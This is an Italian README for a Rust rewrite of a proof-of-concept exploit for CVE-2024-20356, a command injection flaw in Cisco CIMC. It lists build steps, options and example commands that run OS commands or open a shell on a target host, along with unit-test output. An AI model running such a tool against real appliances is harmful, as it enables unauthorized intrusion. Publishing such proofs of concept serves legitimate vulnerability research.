
Una versione rielaborata di https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
Questa è una prova di concetto per CVE-2024-20356, una vulnerabilità di Command Injection nel Cisco CIMC.
Scritto da Aaron e Oxidised da SherllyNeo
I dettagli tecnici completi si trovano all'indirizzo https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
Example commands:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
Usa l'argomento --help per le istruzioni complete sull'uso.
Questa prova di concetto è per scopi dimostrativi e non deve essere utilizzata per attività illegali. LRQA Nettitude non è responsabile per eventuali danni causati dall'uso o dall'abuso di questo codice. Non essere malvagio
Ho scritto questo senza accesso al server basandomi sulla base di codice originale.
Per questo ho scritto estesi test unitari per garantire che le funzioni di crittografia corrispondano a quelle trovate nell'originale. Che il metodo di login funzioni usando un server mock. Che il parsing degli argomenti funzioni per gli indirizzi IP.
per eseguire questi test, usa cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
L'ho messo qui perché ho evitato di usare mod.rs e per mostrare come main sia un sottile wrapper intorno a lib.
Questo per permettere test di integrazione in futuro.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs